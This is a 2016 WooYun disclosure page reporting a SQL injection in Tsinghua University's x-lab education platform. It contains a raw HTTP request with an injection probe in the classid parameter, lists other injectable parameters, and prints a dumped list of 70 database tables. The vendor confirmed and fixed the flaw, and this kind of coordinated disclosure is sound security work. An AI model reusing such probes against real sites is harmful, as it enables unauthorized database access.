当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0168389

漏洞标题：清华大学创意创新创业教育平台注入漏洞

相关厂商：清华大学

漏洞作者： 不败顽童

提交时间：2016-01-08 14:28

修复时间：2016-02-18 11:10

公开时间：2016-02-18 11:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经修复

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-01-08： 细节已通知厂商并且等待厂商处理中
2016-01-08： 厂商已经确认，细节仅向厂商公开
2016-01-18： 细节向核心白帽子及相关领域专家公开
2016-01-28： 细节向普通白帽子公开
2016-02-07： 细节向实习白帽子公开
2016-02-18： 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

清华大学创意创新创业教育平台注入漏洞

详细说明：

GET /?a=kcxx&c=learn&classid=1'%22 HTTP/1.1
Referer: http://www.x-lab.tsinghua.edu.cn:80/
Cookie: PHPSESSID=baeqothgsr3maffr69be5u81l2
Host: www.x-lab.tsinghua.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
id,page,time,type参数也存在注入

漏洞证明：

屏幕快照 2016-01-08 下午1.35.26.png







屏幕快照 2016-01-08 下午1.35.48.png




Database: x-lab
[70 tables]
+----------------------------+
| zcn_about                  |
| zcn_adflash                |
| zcn_ads                    |
| zcn_ads_class              |
| zcn_advice                 |
| zcn_articles               |
| zcn_articles_class         |
| zcn_bangzu                 |
| zcn_bm                     |
| zcn_cirf                   |
| zcn_cirf_class             |
| zcn_cm_cd                  |
| zcn_cm_grp_cd              |
| zcn_companies_registry     |
| zcn_eir                    |
| zcn_eir_addtime            |
| zcn_eir_time               |
| zcn_eir_yy                 |
| zcn_email_queue            |
| zcn_fuwu                   |
| zcn_gzf                    |
| zcn_hr                     |
| zcn_kcxx                   |
| zcn_kcxx_class             |
| zcn_links                  |
| zcn_links_class            |
| zcn_mail_template          |
| zcn_mailinglist            |
| zcn_member_video_comment   |
| zcn_members                |
| zcn_menus                  |
| zcn_message                |
| zcn_network                |
| zcn_newsletter             |
| zcn_newslettercon          |
| zcn_pages                  |
| zcn_partner                |
| zcn_place                  |
| zcn_power                  |
| zcn_president_cup          |
| zcn_president_cup_activity |
| zcn_project                |
| zcn_project_assess         |
| zcn_project_class          |
| zcn_project_cup            |
| zcn_project_excellent      |
| zcn_project_finance        |
| zcn_project_receive        |
| zcn_project_story          |
| zcn_services               |
| zcn_slider                 |
| zcn_stat_active            |
| zcn_subscribes             |
| zcn_top10                  |
| zcn_topup                  |
| zcn_train                  |
| zcn_type_class             |
| zcn_type_list              |
| zcn_users                  |
| zcn_users_class            |
| zcn_users_classpower       |
| zcn_users_log              |
| zcn_video                  |
| zcn_video_class            |
| zcn_voice                  |
| zcn_xmxx                   |
| zcn_zhaomu                 |
| zcn_zt                     |
| zcn_zwxx                   |
| zcn_zwxx_class             |
+----------------------------+
至此结束，不在深入

修复方案：

屏蔽特殊字符

版权声明：转载请注明来源 不败顽童@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：16

确认时间：2016-01-08 16:52

厂商回复：

谢谢提醒，我们会尽快修改的。

最新状态：

2016-02-18：已修复